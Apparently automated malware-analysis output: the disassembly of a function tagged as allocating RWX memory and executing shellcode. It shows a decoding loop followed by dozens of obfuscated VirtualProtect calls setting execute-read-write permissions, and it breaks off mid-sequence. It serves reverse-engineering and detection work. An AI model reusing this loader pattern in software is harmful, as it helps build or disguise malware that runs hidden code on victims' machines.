Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x78
push 0
push 0x4197f8
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [0x4197fc], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x4197f8], eax
call fcn.0040ead0
call fcn.0040d4e0
call fcn.0040d0a9
call fcn.0040cb3b
call fcn.0040c93d
call fcn.0040c630
call fcn.0040c58f
call fcn.0040c32c
call fcn.0040c05d
mov ebp, 0x4039b2
mov dword [0x419844], ebp
mov ebp, 0x4039d1
mov ebx, ebp
mov ebp, 0x4039b2
sub ebx, ebp
mov dword [0x419814], ebx
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov dword [0x419800], ebx
push dword [0x419814]
push dword [0x419844]
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
push ebx
mov ebp, 0x4187a8
push ebp
call fcn.0040ba0a
mov ebp, 0x4187a8
mov dword [0x419810], ebp
mov ebx, dword [0x41982c]
cmp ebx, 0x16760
jge 0x4010f9
mov edx, dword [0x419958]
push edx
push edx
call fcn.0040c204
pop dword [0x419958]
inc dword [0x41982c]
jmp 0x4010d0
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
push 0xffffffff
call sub.KERNEL32.dll_VirtualProtectEx
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
